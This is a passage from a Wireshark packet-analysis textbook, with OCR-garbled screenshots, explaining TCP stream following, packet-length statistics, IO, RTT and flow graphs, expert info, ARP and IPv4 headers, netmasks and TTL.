nation to the source. The color relates to which side initiated the commu- 
nication. For instance, in our example, the client initiated the connection 
to the web server, so it is displayed in red. 

Given this TCP stream, you can clearly see a great majority of the com- 
munication between these two hosts. This communication begins with an 
initial GET request for the web root director (/) and a response from the 
server that the request was successful in the form of an HTTP/1.1 200 OK. A 
similar pattern is repeated throughout the stream as individual files are 
requested by the client and the server responds with them. You are seeing a 
user browsing to the Google home page. You’re actually seeing what the 
end user is seeing, but from the inside out. 

In addition to viewing the raw data in this window, you can also search 
within the text, save it as a file, print it, or choose to view the data in ASCII, 
EBCDIC, hex, or C array format. These options can be found at the bottom 
of the Follow TCP Stream window. 

Following TCP streams will become your best friend when dealing with 
certain protocols. 
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The size of a single packet or group of packets can tell you a lot about a situ- 
ation. Under normal circumstances, the maximum size of a frame on an 
Ethernet network is 1,518 bytes. When you subtract the Ethernet, IP, and 
TCP headers from this number, that leaves you with 1,460 bytes that can be 
used for the transmission of a layer 7 protocol header or data. With that 
knowledge, you can begin to use the distribution of packet lengths in a cap- 
ture to make some educated guesses about the traffic. 

Opening the file download-slow.pcap will provide a great example of this. 
Once the file is opened, select Statistics >» Packet Lengths and click Create 
Stat. The result is the window shown in Figure 5-12. 


[4] Packet Lengths III 
Topic / Item Count Rate Percent 
Ej Packet Lengths 10728 0.061350 
0-19 0 0.000000 0.00% 
20-39 0 0.000000 0.00% 
40-79 3587 0.020513 33.44% 
80-159 0 0.000000 0.00% 
160-319 0 0.000000 0.00% 
320-639 1 0.000006 0.01% 


640-1279 13 0.000074 0.12% 
1280-2559 7127 0.040757 66.43% 
2560-5119 0 0.000000 0.00% 
5120- 0 0.000000 0.00% 


Close 


Figure 5-12: The Packet Lengths window helps you make 
educated guesses about the traffic in the capture file. 


I’ve highlighted the section showing statistics for packets ranging from 
1,280 to 2,559 bytes in size. Larger packets such as these typically indicate the 
transfer of data, whereas smaller packets indicate protocol control sequences. 
In this case, we have a fairly large percentage of large packets (66.43 percent). 
Without even seeing the packets in the file, we can conclude that the capture 
file contains one or multiple transfers of data. This could be in the form of 
an HTTP download, an FTP upload, or any other type of network communi- 
cation where data is transferred between hosts. 

Most of the remaining packets (33.44 percent) are in the 40 to 79 bytes 
range. Packets in this range are usually TCP control packets that don’t carry 
data. Let’s consider the typical size of protocol headers. The Ethernet header 
is 14 bytes (plus a 4-byte CRC), the IP header is a minimum of 20 bytes, and 
a TCP packet with no data or options is also 20 bytes. This means that stan- 
dard TCP control packets—such as SYN, ACK, RST, and FIN packets—will be 
around 54 bytes in size and fall in this range. Of course, the addition of IP or 
TCP options will increase this size. 


Examining packet lengths is a great way to get a bird's-eye view of a cap- 
ture. If there are a lot of large packets, it may be safe to assume that data is 
being transferred. If the majority of packets are small, you may assume that 
the capture consists of protocol control commands, without a great deal of 
data being passed. These are not hard-and-fast rules, but making such assump- 
tions is sometimes safe before taking on deeper analysis. 


Graphing 
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Graphs are the bread and butter of analysis, and one of the best ways to get 
an overview of a data set. Wireshark includes a few different graphing features 
to assist in understanding capture data, the first of which is its IO graphing 
capabilities. 


Viewing IO Graphs 


Wireshark's IO Graphs window allows you to graph the throughput of data 
on a network. You can use such graphs to find spikes and lulls in data through- 
put, discover performance lags in individual protocols, and to compare 
simultaneous data streams. 

To view an example of the IO graph of a computer as it downloads a file 
from the Internet, open download-fast.pcap. Click any TCP packet to highlight 
it, and then select Statistics > IO Graphs. 

The IO Graphs window shows a graphical view of the flow of data over the 
course of the capture file. In the example in Figure 5-13, you can see that the 
download that this graph represents averages around 500 packets per tick and 
stays somewhat consistent throughout its course, tapering off at the end. 


a] Wireshark IO Graphs: download-fast.pcap IF 38-3083 0:17 
1000 
500 
qc et he oe ee E 0 
80s 100s 120s 140s 160s 
4 " |» 
Graphs X Axis 
Color Style: | Line [z] Tick interval: 1 sec [=] 
Color Style: [Line [>| Pixels per tick: 5 [-] 
View as time of day 
Graph 3 Filter Style: [Line [z] -— ee 
Color [Fitter Style: Line [=] Unit: Packets/Tick [-] 
Color Style: Line [=] Scale: Auto E 
| Help | l Copy | | Save | | Close | 


Figure 5-13: The IO graph of the fast download is mostly consistent. 
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Let's compare this to an example of a slower download. Leave the current 
file open, open another instance of Wireshark, and open download-slow.pcap. 
Bring up the IO graph of this download, and you will see a much different 
story, as shown in Figure 5-14. 


r 
[rai Wireshark IO Graphs: download-slow.pcap Kos.) 
100 
50 
TE T E k te To ee | DD O a | 0 
80s 100s 120s 140s 160s 
4 [ " ]' 
Graphs X Axis 
[Graph] Color Filter: | Style: Line Tick interval: 1 sec : 
Graph 2 | Color |Filter: Style: Line [z] poepen 5 
n View as time of day 
Graph 3 Filter Syene — [«] — 
: rY Axis — — — — — ——4 
Graph 4] Color [Filter Syie|une [||| unie [Packets/Tick 
Graph 5] Color [Filter:|) —- Style: Line Scale [Auto 
Help | [ Copy | | Save | | Close | 


Figure 5-14: The IO graph of the slow download is not consistent at all. 


This download has a transfer rate of between 0 and 100 packets per second, 
and is far from consistent, sometimes even momentarily nearing 0 packets 
per second. You can see these inconsistencies more clearly if you place the 
IO graphs of the two files next to each other (see Figure 5-15). 


E Wireshark 10 Graphs: download-slow.pcap 
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Figure 5-15: Viewing multiple IO graphs side by side can be helpful in spotting variance. 


Notice the configurable options at the bottom of this window. You can 
create up to five unique filters (using the same syntax as a display or capture 
filter, as discussed in Chapters 6 and 7) and specify display colors for those 
filters. For instance, you could create filters to show ARP and DHCP traffic, 
and display the lines on the graph in red and blue so that you can more eas- 
ily differentiate the throughput trends between these two protocol types. 


download-fast 
.pcap 


Round-Trip Time Graphing 


Another graphing feature of Wireshark is the ability to view a plot of round- 
trip times for a given capture file. The round-trip time (RTT) is the time it takes 
for an acknowledgment to be received for a packet. Effectively, this is the 
time it took your packet to get to its destination and for the acknowledgment 
of that packet to be sent back to you. Analysis of RTTs is often done to find 
slow points or bottlenecks in communication and to determine if there is any 
latency. 

Let's try out this feature. Open the file download-fast. View the RTT graph 
of this file by selecting a TCP packet, and then choosing Statistics » TCP 
Stream Graph > Round Trip Time Graph. The RTT graph for download-fast.pcap 
is shown in Figure 5-16. 


ll TCP Graph 3: download-fast.pcap 724.123.180:80 -> 172.16.16.128:3218 he) to). it 


RTT [s] Round Trip Time Graph 


50000000 


Sequence Number[B] 


J 


Figure 5-16: The RTT graph of this download appears mostly consistent, with only a few 
stray values. 


Each point in the graph represents the RTT of a packet. The default view 
shows these values sorted by sequence number. You can click a plotted point 
within the graph to be taken directly to that packet in the Packet List pane. 

It appears as though the RTT graph for the fast download has RTT values 
mostly under 0.05 seconds, with a few slower points between 0.10 and 0.25 sec- 
onds. Although there are quite a few values above acceptable limits, the 
majority of the RTT values are okay, so this would be considered an acceptable 
RTT for a file download. 
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Flow Graphing 


htto google.pcap The flow graphing feature is very useful for visualizing connections and 
showing the flow of data over time. Basically, a flow graph contains a column- 
based view of a connection between hosts and organizes the traffic so you can 
interpret it visually. 

To create a flow graph, open the file http_google.pcap and select Statistics > 

Flow Graph. You'll see a small dialog that gives a few simple options regarding 
the packets to process and the flow type. Just accepting the default values 
will be fine for this example, so click OK to generate the flow graph (see 
Figure 5-17). 


E 
[rai http google.pcap - Graph Analysis KoE) 


Time 272.1616128 Comment 
74.125.95.104 
0.000 aeos 1606 > 80 [SYNI Seg. TCP: 1606 > 80 [SYN] Seq=2082691767 Win=8192 Len=0 M!| 
0.030 nen A> 1606 ISYN, ACK TCP: 80 > 1606 [SYN, ACK] Seq=2775577373 Ack=20826917¢| 
0.030 ,,,:1806 > 80 [ACK] Seq TCP: 1606 > 80 [ACK] Seq=2082691768 Ack=2775577374 Will 
I| | | 0.030 aes GELCHTTPALL, ay HTTP: GET / HTTP/11 | 
0.079 ee > 1606 [ACK] Seq TCP: 80 > 1606 [ACK] Seq=2775577374 Ack=2082682385 Wii 
0.101 aea peP segment of a} TCP: [TCP segment of a reassembled PDU] 
0.101 ,,HCPsegmentofat TCP: [TCP segment of a reassembled PDU] 
0.101 M TCP: 1606 > 80 [ACK] Seq 2082692395 Ack=2775580186 Wii| |= 
0.102 ,,ACP.segmentofar.. TCP: [TCP segment of a reassembled PDU] 
0.102 ao ACP segment of a} TCP: [TCP segment of a reassembled PDU] 
0.102 ,,,:1806 > 80 [ACK] Seg. TCP: 1606 > 80 [ACK] Seq 2082692395 Ack=2775581694 Wii 
HTTP: HTTP/L1 200 OK (text/html) 


Figure 5-17: The TCP flow graph allows us to visualize the connection much better. 


Expert Information 


download-slow The dissectors for each protocol in Wireshark define expert info that can be 
“pcap used to alert you about particular states within a packet using that protocol. 
These states are separated into four categories: 
Chat Basic information about the communication 
Note Unusual packets that may be part of normal communication 


Warning Unusual packets that are most likely not a part of normal 
communication 


Error An error in a packet or the dissector interpreting it 
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For example, open the file download-slow.pcap. Then click Analyze, and 
select Expert Info Composite to bring up the Expert Infos window for this 
capture file (see Figure 5-18). 


( E Wireshark: 24 Expert Infos oa) Jha). | 
Errors: 0 (0) | Warnings: 2 (3) | Notes: 10 (18) Chats: 3 G) | Details: 24 
Group * Protocol * Summary * Count 4 
Sequence TCP Duplicate ACK (#1) 2 
Packet: 1625 :| 
Packet: 3280 1 
@ Sequence TCP Duplicate ACK (#3) 2 
Sequence TCP Duplicate ACK (#4) 2 
Sequence TCP Duplicate ACK (#5) 2 
Sequence TCP Duplicate ACK (#6) 2 
= Sequence TCP Duplicate ACK (#7) 2 
Œ Sequence TCP Duplicate ACK (#8) 2 
© Sequence TCP Duplicate ACK (#9) 1 
Æ Sequence TCP Retransmission (suspected) 1 


Figure 5-18: The Expert Infos window shows information from the expert system 
programmed within the protocol dissectors. 


Notice that the window has tabs for each classification of information, 
and that there are no errors, 3 warnings, 18 notes, and 3 chats. On the tabs, 
the number not inside parentheses indicates the amount of unique messages, 
and the number inside parentheses is the total of occurrences for that category. 

All of the messages within this capture file are TCP-related, simply 
because the expert information system hasn’t really been implemented for 
any other protocols as of this writing. At this time, there are 14 expert info 
messages configured for TCP, and they are quite useful when troubleshoot- 
ing capture files. These messages will flag an individual packet when it meets 
certain criteria, as listed here: 


Chat messages 


Window Update Sent by a receiver to notify a sender that the size of 
the TCP receive window has changed. 


Note messages 


TCP Retransmission Result of packet loss. Occurs when a duplicate 
ACK is received or the retransmission timer of a packet expires. 


Duplicate ACK When a host doesn't receive the next sequence num- 
ber it is expecting, it generates a duplicate ACK of the last data it 
received. 

Zero Window Probe Used to monitor the status of the TCP receive 
window after a zero window packet has been transmitted (covered in 


Chapter 9). 
Keep Alive ACK Sent in response to keep-alive packets. 
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Zero Window Probe ACK Sent in response to zero-window-probe 
packets. 


Window is Full Used to notify a transmitting host that the receiver's 
TCP receive window is full. 


Warning messages 


Previous Segment Lost Indicates packet loss. Occurs when an 
expected sequence number in a data stream is skipped. 


ACKed Lost Packet Occurs when an ACK packet is seen but the 
packet it is acknowledging is not. 


Keep Alive Triggered when a connection keep-alive packet is seen. 


Zero Window Seen when the size of the TCP receive window is 
reached and a zero window notice is sent out, requesting the sender 
to stop sending data. 


Out-of-Order Utilizes sequence numbers to detect when packets are 
received out of sequence. 


Fast Retransmission A retransmission that occurs within 20 milli- 
seconds of a duplicate ACK. 


Error messages 


No Error Messages 


The meaning of these messages will become clearer as we study TCP in 
Chapter 6 and troubleshooting slow networks in Chapter 9. 

Although some of the features discussed in this chapter may seem as if 
they would be used in only obscure situations, you will probably find yourself 
using them more than you might expect. It is important that you familiarize 
yourself with these windows and options; I will be referencing them a lot in 
the next few chapters. 


COMMON LOWER-LAYER 
PROTOCOLS 


Whether troubleshooting latency issues, 
identifying malfunctioning applications, or 
zeroing in on security threats in order to be able 
to spot abnormal traffic, you must first understand nor- 
mal traffic. In the next couple of chapters, you'll learn 


how normal network traffic works at the packet level. 
We'll look at the most common protocols, including the workhorses TCP, 
UDP, and IP, and more commonly used application-layer protocols such as 
HTTP, DHCP, and DNS. Each protocol section has at least one associated 
capture file, which you can download and work with directly. This chapter 
will specifically focus on the lower-layer protocols found in reference to layers 1 
through 4 of the OSI model. 

These are arguably the most important chapters in this book. Skipping 
the discussion would be like cooking Sunday supper without cornbread. Even 
if you already have a good grasp of how each protocol functions, give these 
chapters at least a quick read in order to review the packet structure of each. 
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Both logical and physical addresses are used for communication on a network. 
The use of logical addresses allows for communication between multiple 
networks and indirectly connected devices. The use of physical addresses 
facilitates communication on a single network segment for devices that are 
directly connected to each other with a switch. In most cases, these two types 
of addressing must work together in order for communication to occur. 

Consider a scenario where you wish to communicate with a device on 
your network. This device may be a server of some sort or just another work- 
station you need to share files with. The application you are using to initiate 
the communication is already aware of the IP address of the remote host (via 
DNS, covered in Chapter 7), meaning the system should have all it needs to 
build the layer 3 through 7 information of the packet it wants to transmit. 
The only piece of information it needs at this point is the layer 2 data link 
data containing the MAC address of the target host. 

MAC addresses are needed because a switch that interconnects devices 
on a network uses a Content Addressable Memory (CAM) table, which lists the 
MAC addresses of all devices plugged into each of its ports. When the switch 
receives traffic destined for a particular MAC address, it uses this table to 
know through which port to send the traffic. If the destination MAC address 
is unknown, the transmitting device will first check for the address in its cache; 
if it is not there, then it must be resolved through additional communication 
on the network. 

The resolution process that TCP/IP networking (with IPv4) uses to resolve 
an IP address to a MAC address is called the Address Resolution Protocol (ARP), 
which is defined in RFC 826. The ARP resolution process uses only two packets: 
an ARP request and an ARP response (see Figure 6-1). 


An RFC, or Request for Comments, is the official document that defines the implemen- 
tation standards for protocols. You can search for RFC documentation at the RFC 
Editor home page, http:/ /www.rfc-editor.org/. 


The transmitting computer sends out an ARP request that basically asks, 
“Howdy everybody, my IP address is XX.XX.XX.XX, and my MAC address is 
XX:XX:XX:XX:XX:XX. I need to send something to whoever has the IP address 
XX. XX. XX. XX, but I don’t know its hardware address. Will whoever has this 
IP address please respond back with your MAC address?" 

This packet is broadcast to every device on the network segment. 

Any device that does not have this IP address simply discards the packet. 
The device that does have this IP address sends an ARP reply with an 
answer like, “Hey, transmitting device, I’m who you are looking for with 
the IP address of XX. XX. XX. XX. My MAC address is XX: XX: XX: XX: XX: XX" 

Once this resolution process is completed, the transmitting device updates 
its cache with the MAC-to-IP address association of this device, and it can 
begin sending data. 


ARP Request 


& Source IP: 192.168.0.101 


Source: MAC: f2:f2:f2:f2:f2:f2 
Target IP: 192.168.0.1 
Target MAC: 00:00:00:00:00:00 


ARP Response 


Source IP: 192.168.0.1 DS — e 


Source: MAC: 02:f2:02:f2:02:f2 
Target IP: 192.168.0.101 
Target MAC: f2:2:f2:f2:f2:f2 


Figure 6-1: The ARP resolution process 


NOTE You can view the ARP table of a Windows host by typing arp -a from a command 
prompt. 


Seeing this process in action will help you to understand how it works. 
But before we look at some examples, let’s examine the ARP packet header. 


The ARP Header 
As shown in Figure 6-2, the ARP header includes the following fields: 


Hardware Type The layer 2 type used. In most cases, this is Ethernet 
(type 1). 

Protocol Type The higher-layer protocol for which the ARP request is 
being used. 


Hardware Address Length The length (in octets/bytes) of the hard- 
ware address in use (6 for Ethernet). 


Protocol Address Length The length (in octets/bytes) of the logical 
address of the specified protocol type. 


Operation The function of the ARP packet: either 1 for a request or 2 
for a reply. 


Sender Hardware Address The hardware address of the sender. 
Sender Protocol Address The sender's upper-layer protocol address. 


Target Hardware Address The intended receiver's hardware address 
(zeroed in ARP requests). 


Target Protocol Address The intended receiver's upper-layer protocol 
address. 
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Address Resolution Protocol 


Hardware Type 


Protocol Type 


Hardware Address Length 


Sender Hardware Address (3rd 16 Bits) 


Sender Protocol Address (1st 16 Bits) 


Sender Protocol Address (2nd 16 Bits) 


Figure 6-2: The ARP packet structure 


Now open the file arp resolution.pcap to see this resolution process in 
action. We'll focus on each packet individually as we walk through this process. 


Packet 1: ARP Request 


The first packet is the ARP request, as shown in Figure 6-3. We can confirm 
that this packet is a true broadcast packet by examining the Ethernet header 
in Wireshark's Packet Details pane. The packet's destination address is 
IF:fEfEFEfEfÉ @. This is the Ethernet broadcast address, and anything sent to 

it will be broadcast to all devices on the current network segment. The source 
address of this packet in the Ethernet header is listed as our MAC address 6. 


li] 1 0.000000 00:16:ce:6e:8b:24 ff:ff:ff:ff:ff:ff ARP Who has 192.168.0.1? Tell 192.168.0.114 coassa) 


m Frame 1 (42 bytes on wire, 42 bytes captured) 
E Ethernet II, Src: 00:16:ce:6e:8b:24 (00:16:ce:6e:8b:24), Dst: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff) 
m Destination: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff) 69 
E Source: 00:16:ce:6e:8b:24 (00:16:ce:6e:8b:24) o9 
Type: ARP (0x0806) 
Ej Address Resolution Protocol (request) 
Hardware type: Ethernet (0x0001) 
Protocol type: IP (0x0800) 
Hardware size: 6 
| Protocol size: 4 
Opcode: request (0x0001) 
[Is gratuitous: False] 
oender MAC address: 00:16:ce:6e:8b:24 (00:16:ce:6e:8b:24) 
Sender IP address: 192.168.0.114 (192.168.0.114) 
| Target MAC address: 00:00:00:00:00:00 (00:00:00:00:00:00) @ 
Target IP address: 192.168.0.1 (192.168.0.1) o 


«I m > 


0000 6 ce 6e 8b 24 08 06 00 OII 
0010 01 00 16 ce 6e 8b 24 cO a8 00 72| 
0020 00 cO a8 00 O: 


L 


Figure 6-3: An ARP request packet 


arp gratuitous 
.pcap 


Given this structure, we can discern that this is indeed an ARP request on 
an Ethernet network using IP. The sender’s IP address (192.168.0.114) and 
MAC address (00:16:ce:6e:8b:24) are listed ©, as is the IP address of the tar- 
get (192.168.0.1) @. The MAC address of the target—the information we are 
trying to get—is unknown, so the target MAC is listed as 00:00:00:00:00:00 e. 


Packet 2: ARP Response 


In our response to the initial request (see Figure 6-4), the Ethernet header 
now has a destination address of the source MAC address from the first packet. 
The ARP header looks similar to that of the ARP request, with a few changes: 


e The packet's operation code (opcode) is now 0x0002 6, indicating a 
reply rather than a request. 


e The addressing information is reversed—the sender MAC address and 
IP address are now the target MAC address and IP address @. 


e Most important, all of the information is present, meaning we now have 
the MAC address (00:13:46:0b:22:ba) © of our host at 192.168.0.1. 


(GW 2 0.004081 00:13:46:0b:22:ba 00:16:ce:6e:8b:24 ARP 192.168.0.1 is at 00:13:46:0b:22:ba comam) 


m Frame 2 (46 bytes on wire, 46 bytes captured) 
S Ethernet II, Src: 00:13:46:0b:22:ba (00:13:46:0b:22:ba), Dst: 00:16:ce:6e:8b:24 (00:16:ce:6e:8b:24) 
E] Destination: 00:16:ce:6e:8b:24 (00:16:ce:6e:8b:24) 
E] Source: 00:13:46:0b:22:ba (00:13:46:0b:22:ba) 
Type: ARP (0x0806) 
Trailer: C0A80072 
E Address Resolution Protocol (reply) 
Hardware type: Ethernet (0x0001) 
Protocol type: IP (0x0800) 
Hardware size: 6 
Protocol size: 4 
opcode: reply (0x0002) 69 
[Is gratuitous: False] 
Sender MAC address: 00:13:46:0b:22:ba (00:13:46:0b:22:ba) €) 
Sender IP address: 192.168.0.1 (192.168.0.1) 
Target MAC address: 00:16:ce:6e:8b:24 (00:16:ce:6e:8b:24) 
@ ise IP address: 192.168.0.114 (192.168.0.114) 


[I MMOO 16 ce 6e 8b 24 00 13 46 Ob 22 ba 08 06 00 0: 
[A41 MMOS OO O6 O4 OO 02 00 13 46 Ob 22 ba cO a8 OO O: 
[WP IMMOO 16 ce 6e 8b 24 cO a8 00 72 cO a8 00 7. 


Figure 6-4: An ARP reply packet 


Gratuitous ARP 


Where I come from, when something is done *gratuitously," that usually carries a 
negative connotation. A gratuitous ARP, however, is actually a good thing. 

In many cases, a device's IP address can change. When this happens, 
the IP-to-MAC address mappings that hosts on the network have in their 
caches will be invalid. To prevent this from causing communication errors, 
a gratuitous ARP packet is transmitted on the network to force any device 
that receives it to update its cache with the new IP-to-MAC address map- 
ping (see Figure 6-5). 
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Source IP: 192.168.0.101 
Source: MAC: f2:f2:f2:f2:f2:f2 
Target IP: 192.168.0.101 

Target MAC: 00:00:00:00:00:00: 


€ 1 t 


Figure 6-5: The gratuitous ARP process 


A few different scenarios can spawn a gratuitous ARP packet. One of 
the most common is the changing of an IP address. Open the capture file 
arp_gratuitous.pcap, and you'll see this in action. This file contains only a single 
packet (see Figure 6-6) because that's all that's involved in gratuitous ARP. 


li] 1 0.000000 00:03:47:b7:f2:f5 ff:ff:ff:ff:ft ARP Gratuitous ARP for 24.6.125.19 (Request) [CES [use| = X D) 


Frame 1 (60 bytes on wire, 60 bytes captured) 
B Ethernet II, Src: 00:03:47:b7:f2:f5 (00:03:47:b7:f2:f5), Dst: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff) 
E Destination: ff:ff:ff:ff:ff:ff (ff:ff:ff:ff:ff:ff) [1] 
@ Source: 00:03:47:b7:f2:f5 (00:03:47:b7:f2:f5) 
Type: ARP (0x0806) 
Trailer: 000000000000000000000000000000000000 
Ej Address Resolution Protocol (request/gratuitous ARP) 
Hardware type: Ethernet (0x0001) 
Protocol type: IP (0x0800) 
Hardware size: 6 
ll Protocol size: 4 
Opcode: request (0x0001) 
[Is gratuitous: True] 
Sender MAC address: 00:03:47:b7:f2:f5 (00:03:47:b7:f2:f5) 
e Sender IP address: 24.6.125.19 (24.6.125.19) 
Target MAC address: 00:00:00:00:00:00 (00:00:00:00:00:00) 
© Target IP address: 24.6.125.19 (24.6.125.19) 


0000 | 00 03 47 b7 f2 f5 08 06 OO O1 
(REOS OO O6 04 OO O1 OO 03 47 b7 f2 f5 18 06 7d 13| 
(PLEO OO OO OO OO OO 18 O6 7d 13 OO OO OO 00 00 00 
[A4 E»MMOO OO OO OO OO OO OO OO 00 OO OO OO 


Figure 6-6: A gratuitous ARP packet 


Examining the Ethernet header, you can see that this packet is sent as a 
broadcast so that all hosts on the network receive it ®. The ARP header looks 
like an ARP request, except that the sender IP address and the target IP 
address ® are the same. When received by other hosts on the network, this 
packet will cause them to update their ARP tables with the new IP-to-MAC 
address association. Because this ARP packet is unsolicited but results in a 
client updating its ARP cache, the packet is considered gratuitous. 

You will notice gratuitous ARP packets in a few different situations. As 
mentioned, changing a device's IP address will generate one. Also, some 
operating systems will perform a gratuitous ARP on startup. Additionally, you 
may notice gratuitous ARP packets on systems that use them for load-balancing 
of incoming traffic. 


Internet Protocol 


The primary purpose of protocols at layer 3 of the OSI model is to allow for 
communication between networks. As you just saw, MAC addresses are used 
for communication on a single network at layer 2. In much the same fashion, 
layer 3 is responsible for addresses for internetwork communication. A few 
protocols can do this, but the most common is the Internet Protocol (IP). Here, 
we'll examine IP version 4 (IPv4), which is defined in RFC 791. 

In order to understand the functionality of IPv4, you need to know how 
traffic flows between networks. IPv4 is the workhorse of the communication 
process and is ultimately responsible for carrying data between devices, 
regardless of where the communication endpoints are located. 

A simple network in which all devices are connected via hubs or switches 
is called a local area network (LAN). When you want to connect two LANs 
together, you can do so with a router. Complex networks can consist of 
thousands of LANs connected through thousands of routers worldwide. 
The Internet itself is a collection of millions of LANs and routers. 


IP Addresses 


IP addresses are 32-bit addresses used to uniquely identify devices connected 
to a network. It is a bit much to expect someone to remember a sequence of 
ones and zeros that is 32 characters long, so IP addresses are written in dotted- 
quad notation. 

In dotted-quad notation, each of the four sets of ones and zeros that 
make up an IP address is converted to base 10 and represented as a number 
between 0 and 255 in the format A.B.C.D (see Figure 6-7). For example, 
consider the IP address 11000000 10101000 00000000 00000001. This value 
is obviously a bit much to remember or notate. Fortunately, using dotted- 
quad notation, we can represent it as 192.168.0.1. 

IP addresses are divided into four distinct parts for a reason. An IP address 
consists of two parts: a network address and a host address. The network address 
identifies the LAN the device is connected to, and the host address identifies 
the device itself on that network. The determination of which part of the IP 
address belongs to the network or host address is not always the same. This 
is actually determined by another set of addressing information called the 
network mask (netmask), sometimes also referred to as a subnet mash. 


11000000 10101000 00000000 00000001 


| | | | 
192 168 0 | 


192.168.0.1 


Figure 6-7: Dotted-quad IPv4 address notation 
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The netmask identifies which portion of the IP address belongs to the 
network address and which part belongs to the host address. The netmask 
number is also 32 bits long, and every bit that is set to a 1 identifies the portion 
of the IP address that is reserved for the network address. The remaining bits 
set to 0 identify the host address. 

For example, consider the IP address 10.10.1.22, represented in binary 
as 00001010 00001010 00000001 00010110. In order to determine the alloca- 
tion of each section of the IP address, we can apply our netmask. In this case, 
our netmask is 11111111 11111111 00000000 00000000. This means that 
the first half of the IP address is reserved for the network address (10.10 or 
00001010 00001010) and the last half of the IP address identifies the individual 
host on this network (.1.22 or 00000001 00010110), as shown in Figure 6-8. 


10.10.1.22 —> 00001010 00001010 00000001 00010110 
| | | | — > 10.10.1.22 


ae See 
255.255.0.0 —> 11111111 11111111 00000000 00000000 
e D ud E ov Network Host 
Network Host 


Figure 6-8: The netmask determines the allocation of the bits in an IP address. 


Netmasks can also be written in dotted-quad notation. For example, the 
netmask 11111111 11111111 00000000 00000000 is written as 255.255.0.0. 

IP addresses and netmasks are commonly written in Classless Inter-Domain 
Routing (CIDR) notation for shorthand. In this form, an IP address is written in 
full, followed by a forward slash (/) and the number of bits that represent the 
network portion of the IP address. For example, an IP address of 10.10.1.22 and 
a netmask of 255.255.0.0 would be written in CIDR notation as 10.10.1.22/16. 


The IPv4 Header 


The source and destination IP addresses are the crucial components of the 
IPv4 packet header, but that’s not all of the IP information you will find 
within a packet. The IP header is actually quite complex compared with the 
ARP packet we just examined. It includes a lot of extra functionality that 
helps IP do its job. 

As shown in Figure 6-9, the IPv4 header has the following fields: 


Version The version of IP being used 


Header Length The length of the IP header 


Type of Service A precedence flag and type of service flag, which are 
used by routers to prioritize traffic 


Total Length The length of the IP header and the data included in the 
packet 


Identification A unique identification number used to identify a packet 
or sequence of fragmented packets 


ip tl source.pcap 
ip ttl dest.pcap 


Flags Used to identify whether or not a packet is part of a sequence of 
fragmented packets 


Fragment Offset If a packet is a fragment, the value of this field is used 
to reassemble the packets in the correct order. 


Time to Live Defines the lifetime of the packet, measured in hops/sec- 
onds through routers 


Protocol Used to identify the type of packet coming next in the 
sequence of packets 


Header Checksum An error-detection mechanism used to verify the 
contents of the IP header are not damaged or corrupted 


Source IP Address The IP address of the host that sent the packet 
Destination IP Address The IP address of the packet's destination 


Options Reserved for additional IP options. It includes options for 
source routing and timestamps. 


Data The actual data being transmitted with IP 


Internet Protocol 


Bit 


Figure 6-9: The IPv4 packet structure 


Time to Live 


The Time to Live (TTL) value defines a period of time that can be elapsed or 
a maximum number of routers a packet can traverse before the packet is 
discarded. A TTL is defined when a packet is created, and generally is dec- 
remented by 1 every time the packet is forwarded by a router. For example, 
if a packet has a TTL of 2, the first router it reaches will decrement the TTL 
to 1 and forward it to the second router. This router will then decrement 
the TTL to 0, and if the final destination of the packet is not on that net- 
work, the packet will be discarded (see Figure 6-10). Since the TTL value is 
technically time-based, a very busy router could decrement the TTL value 
by more than 1, but generally, it's safe to assume that one routing device 
will decrement a TTL by only 1 most of the time. 


Common Lower-Layer Protocols 93 


m- 
"Q-Q 
mQ- 


Figure 6-10: The TTL of a packet decreases every time it traverses a router. 


Why is the TTL value important? Typically, we are concerned about the 
lifetime of a packet only in terms of the time that it takes to travel from its 
source to its destination. However, consider a packet that must travel to a 
host across the Internet while traversing dozens of routers. At some point in 
that packet's path, it could encounter a misconfigured router and lose the 
path to its final destination. In such a case, the router could do a number 
of things, one of which could result in the packet being forwarded around a 
network in a never-ending loop. 

If you have any programming background at all, you know that a loop 
that never ends can cause all sorts of issues, typically resulting in a program 
or an entire operating system crashing. Theoretically, the same thing could 
occur with packets on a network. The packets would keep looping between 
routers. As the number of looping packets increased, the available bandwidth 
on the network would deplete until a DoS condition occurred. To prevent 
this potential problem, the TTL field of the IP header was created. 

Let's look at an example of this in Wireshark. The file ip ttl source.pcap 
contains two ICMP packets. ICMP (discussed later in this chapter) utilizes IP 
to deliver packets, as we can see by expanding the IP header section in the 
Packet Details pane (see Figure 6-11). 


: 
E 1 0.000000 10.10.0.3 192.168.0.128 ICMP Echo (ping) request PONS n. 


& Frame 1 (74 bytes on wire, 74 bytes captured) 
& Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:21:29:66:71:95 (00:21:29:€ 
m Internet Protocol, Src: 10.10.0.3 (10.10.0.3), Dst: 192.168.0.128 (192.168.0.128) 


B) version: 4 
@ Header length: 20 bytes 
& Differentiated services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00) 
© Total Length: 60 
Identification: Ox728d (29325) 
& Flags: 0x00 
Fragment offset: 0 
@ Time to live: 128 
Protocol: ICMP (0x01) 
|. E Header checksum: 0x0000 [validation disabled] 
@ source: 10.10.0.3 (10.10.0.3) 
@ Destination: 192.168.0.128 (192.168.0.128) 
& Internet Control Message Protocol 


0000 00 21 29 66 71 95 00 25 b3 bf 91 ee 08 00 f 
[oO 3c 8d 00 00 8 Oa Oa 00 0 


0010 EWE r3 
0020 (Ei 08 OO 4d 61 62 63 64 ..M6.. .%abcde = 
0030 67 68 69 6a 6b 6c Gd 6e 6f 70 71 72 73 74 75 76 ghijklmn opqrstuv E 
0040 77 61 62 63 64 65 66 67 68 69 wabcdefg hi Y 


Figure 6-11: The IP header of the source packet 
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ip frag source 


.pcap 


NOTE 


You can see that the version of IP being used is version 4 €), the IP header 
length is 20 bytes 6, the total length of the header and payload is 60 bytes 6, 
and the value of the TTL field is 128 @. 

The primary purpose of an ICMP ping is to test communication between 
devices. Data is sent from one host to another as a request, and the receiving 
host should send that data back as a reply. In this file, we have one device 
with the address of 10.10.0.3 © sending an ICMP request to a device with the 
address 192.168.0.128 ©. This initial capture file was created at the source 
host, 10.10.0.3. 

Now open the file 2p til dest.pcap. In this file, the data was captured at the 
destination host, 192.168.0.128. Expand the IP header of the first packet in 
this capture to examine its TTL value (see Figure 6-12). 


li] 1 0.000000 10.10.0.3 192.168.0.128 ICMP Echo (ping) request IIT) 


